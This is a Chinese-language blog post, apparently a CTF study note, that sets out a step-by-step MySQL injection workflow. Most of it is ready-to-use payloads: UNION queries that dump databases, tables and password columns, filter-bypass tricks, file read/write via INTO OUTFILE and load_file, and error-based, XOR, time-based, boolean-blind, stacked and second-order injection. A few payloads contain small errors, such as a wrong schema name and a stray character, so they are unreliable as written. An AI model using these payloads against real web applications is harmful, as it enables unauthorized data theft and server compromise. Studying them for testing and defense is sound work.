SQL Injection Hacking Flow

sql 注入步骤

0x00.判断注入点

1.如果目标有 get 注入,则会在 url 上有明显传参的注入点,比方说:

1
/index.php?id=1

如果没有在目标 url 上发现明显的 get 注入,则很有可能是 post 注入,在 post 里边传参就好了

2.通过在传参的数字或是字符串后边加单引号,看会不会框架还在但数据不在了,再加上井号,看不在的数据会不会恢复,以此来判断是否有注入点

3.如果第二步不成功,可以使用 id=1 and 1=1 与 id=1 and 1=2 来看两次页面是否有不同的回显,有的话说明 and 后的语句被执行了,有注入。

4.个别情况,可以使用 id=1 and sleep(5)来看,如果有 5 秒延迟,说明有注入。

0x01.使用 order by 语句来判断列数

1
id=1' order by 4%23

可以使用二分法来推测列数

0x02.判断回显点

从此时开始,就要使 url 前面的查询失效,只执行你 union select 的语句
方法是传一个错误数据将前面的查询失效,可以是 0 可以是负数

1
id=-1' union select 1,2,3,4%23

找到回显点以后,可以使用 database(),user(),version()等函数来证明回显点的可用性

0x03.查询数据库名

可以使用 group_concat()函数来将多列数据整合到一列
1
id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata),4%23

0x04.查询表名

1
id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x746573745f736368656d61),4%23

查询表名时只需要做一次 where 限制,但是限制名字一定要用十六进制表示,并加上 0x

0x05.查询列名

1
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=0x746573745f736368656d61 and table_name=0x746573745f7461626c65),4%23

查询列名时需要做两次 where 限制,一次是 table_schema(表的数据库名),一次是 table_name(表的名字),且都要用十六进制表示

0x06.查询数据

1
2
id=-1' union select 1,2,(select group_concat(id,0x7c,password) from test_schema.test_table),4%23
(不对可以尝试将test.schema的这个前缀去掉)

在 group_concat()里写入要查询数据的列名,from 的表名也直接可以用无需转进制的本名表示了(数据库名.表名)

而且由此可见,group_concat 函数里可以通过加上十六进制的特殊符号来分隔列名,以达到分隔要查询的数据的效果

sql 注入技巧

  • Bypass:

(1)单引号或者别的什么字符:十六进制编码('abc'==0x616263)
(2)空格:/**/

(3)关键字:预编译语句替换
(4)and 或 or:&& || 或者将 and 或 or 用 ascii 编码后加上%(即变成字母的 url 编码进行绕过)
(5)’!=’:’<>’
(6)’=’
id = 1:id between 1 and 1
like

0x00.Tips

  • sql 可以使用写文件
1
2
3
4
5
select 1,"获得的值",3 into outfile "绝对路径" --+

1.必须是绝对路径(路径要是斜杠不能是反斜杠\,不然会被当成转义)
2.必须是最高权限(不一定是root)
3.使用读写文件时,my.ini 中的 mysqld 必须有 secure-file-priv 参数,如果没有必须加上,如果有,要不将写的文件放到这个参数的默认路径里,要不修改这个路径

读文件

1
2
3
4
select 1,load_file(0x123123),3 --+
读文件时需要将绝对路径进行十六进制编码
最后在load_file()的外层还可以包一个hex(),这样即便是中文,也可以后期解码
这个路径对反斜杠没有要求
  • sqlmap 可以去跑一个页面的 php 文件(不带任何参数那种),然后加上–forms 参数来自动寻找页面可能存在的表单

  • 虽然关键字不能被十六进制编码,但是查询的字符串可以进行十六进制编码,并等价于原字符串

  • 注入时,先引号,然后万能密码,然后 order by,然后 union select 去正常注入。看中途回显要求,尝试堆叠,报错等其他注入途径

  • 注入时如果需要有=这样的字符,不知道全名的时候,=可以换成 like,然后不知道的地方用% 通配,然后十六进制转换

1
where table_schema like %all%    //all那里再转成十六进制
  • 可以使用 exists(select …)来排查过滤或者暴力猜解表名
1
2
3
id=1' and exists(select * from admin)--+   

//对admin进行burp爆破
  • 注入时最好去抓包用-r 注入,因为这样可以带上 User-Agent 消息头

  • 注入时有可能你加上–random-agent 这个自动更改消息头的参数会提高成功率

  • sql 注入的时候不光可注入 GET,POST,还可以抓包注入数据部分的参数(加 * )

  • 用不了 substr 可以用 mid 替换,效果一样

  • strstr()不区分大小写

0x01.亦或注入

当不知道注入时哪些参数被过滤的时候,可以使用亦或注入
亦或符号为^,其运算规则是相同为真,相异为假

注入时使用 length()函数进行判断,length()内部是被考察有可能过滤掉的参数
如果页面正常返回,则说明被参数过滤掉了

1
2
3
index.php?id=5'^(length('and')!=0)%23

原理即是:如果and被过滤掉了,length('and')即为0,0!=0显然结果是0,而前面的值为真('5'),二者相异,整个语句的值为1,所以页面正常返回

如果%23(#)也被过滤掉了,可以尝试再加一次亦或

1
2
3
index.php?id=5'^(length('and')!=0)^'

因为添加的后引号与php文件里的语句一旦合并,内部即形成了''(空值),所以显然为0,与前面的结果1还是相异的,所以也可以正常返回来判断过滤

0x02.报错注入

报错注入前提是在后端代码有 Exception 这种异常处理的回显才能在 web 中用,不然即使能报错但是你不知道报错内容

报错注入有十种,详见:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

最常用的是

1
2
3
floor()
updatexml()
extractvalue()
  • updatexml()

此函数格式为 updatexml(目标文件, 路径, 更改值);

而这里的路径必须是 XPath 格式的路径,我们可以利用传入非法路径(但是是一个合理的 sql 语句),来让 updatexml 报错,显示路径中 sql 语句执行后的内容,而目标文件与更改值可以是任意内容

1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x776562313030322d32)),3) %23

而现在的目的是为了让传入的路径不符合 XPath 路径格式,那就必须加一个让路径格式失效的字符,’#’或者’~’(0x7e)都行

所以现在要用到 concat()函数来将那个字符与后面的语句拼接起来

  • extractvalue()与 updatexml()同理

  • floor()

与 rand()随机数函数结合,floor()用于取整
https://blog.csdn.net/zpy1998zpy/article/details/80650540
https://www.cnblogs.com/litlife/p/8472323.html

0x03.可以使用语句辅助注入

substr(str,start,long)

str 是待切分的字符串,start 是切分起始位置(下标从 1 开始),long 是切分长度

if(exp1,exp2,exp3)

如果满足 exp1,那么执行 exp2,否则执行 exp3

例如:

1
xx' or if((substr((select database()),1,1)='c'),1,0) #    #判断数据库第一个字符是否为c

语句替换

如果逗号被过滤了,可以使用以下收发替换

if(exp1, exp2, exp3) ====> case when exp1 then exp2 else exp3 end

substr(exp1,1, 1) ====> substr(exp1) from 1 for 1

例如:

1
xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #

如果 substr 被过滤了,可以使用 LOCATE 函数

返回子串 substr 在字符串 str 中的第 p os 位置后第一次出现的位置。如果 substr 不在 str 中返回 0

ps:因为[[Mysql]]对大小写不敏感,所有写的时候用 locate(binary’S’, str, 1) 加个 binary 即可

1
2
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #

0x04.使用延迟注入

1
2
3
4
5
6
7
8
9
基于sleep的延迟 
xx' or if(length((select database()))>1,sleep(5),1) #

基于笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #

基于benchmark的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间

0x05.堆叠注入

如果能看见源码,源码中有 multi_query()那就很有可能涉及堆叠注入

只要是堆叠注入,那就可以使用 sql 的预定义语句

1
2
3
4
5
6
7
8
即在'后直接跟分号结束,然后跟sql语句,最后#收尾
-1';show databases;#
-1';show tables;#
-1';show columns from `1919810931114514`;#
-1';show columns from `words`;#

#注意,以上表名要加反引号``,反引号内的内容可以被作为子命令在其他命令中嵌套输出
#例如:ping www.google.com == ping `www.google.com`

如果可以使用堆叠注入,但是有一些关键字被过滤了(例如 select)
那么我们可以使用预编译的方法

set 用于设置变量名和值

prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句

例如 payload:

1
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

0x06.更改表名列名为本身就能回显的来查询

语法如下:

1
2
3
4
5
修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

例如 payload:

1
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

修改完后,可以直接使用万能密码得出 flag:

1
1' or 1=1#

0x07.二次注入

即通过某种方式得到源码后,发现程序对输入的地方做了过滤(比方说转义 addslashs),但是通过注册存到数据库里的内容却是不带 \ 的。而当我们再去修改密码时,修改的却是之前注册的恶意代码里真正用户的密码,例如:

1
2
3
4
5
注册时我们注册admin'#
但是存储时,程序加了\,变成了admin\'#
但是在当我们用这个admin'#登录后去修改密码时,内部的sql如下构造
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#'and password='$curr_pass'"
即我们相当于是修改了admin的密码

盲注

原理

1
2
1' and sleep(5)# 
1' and length(database())=2#

因没有回显,所以一般注入的 select 没用,故通过 and 或者别的方式查询时加上一些特定函数,来一个一个爆破猜解数据库的某个字段的字符
可以使用 Burpsuite 或者二分法来定位字符

操作

基于时间:

  • sleep()

  • if()

1
2
3
4
5
6
7
8
猜表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#

猜表名字符数:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)#

猜表名第一个字符:
1' and if(ascii(substr((select table_name from table_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(5),1)#

基于布尔:

  • length()

  • ascii()

  • mid()

  • substr()

  • count()

1
2
3
4
5
6
7
8
9
10
11
12
13
14

猜表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#

猜表长度:
1' and (select length(table_name) from information_schema.tables where table_schema=database())=1#

limit i,n 限制返回结果的数量
i:返回结果的索引值
n:返回结果的数量

猜表名第一个字符:
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),0,1))>97#

Author

Resek4

Posted on

2019-12-11

Updated on

2023-01-27

Licensed under

Comments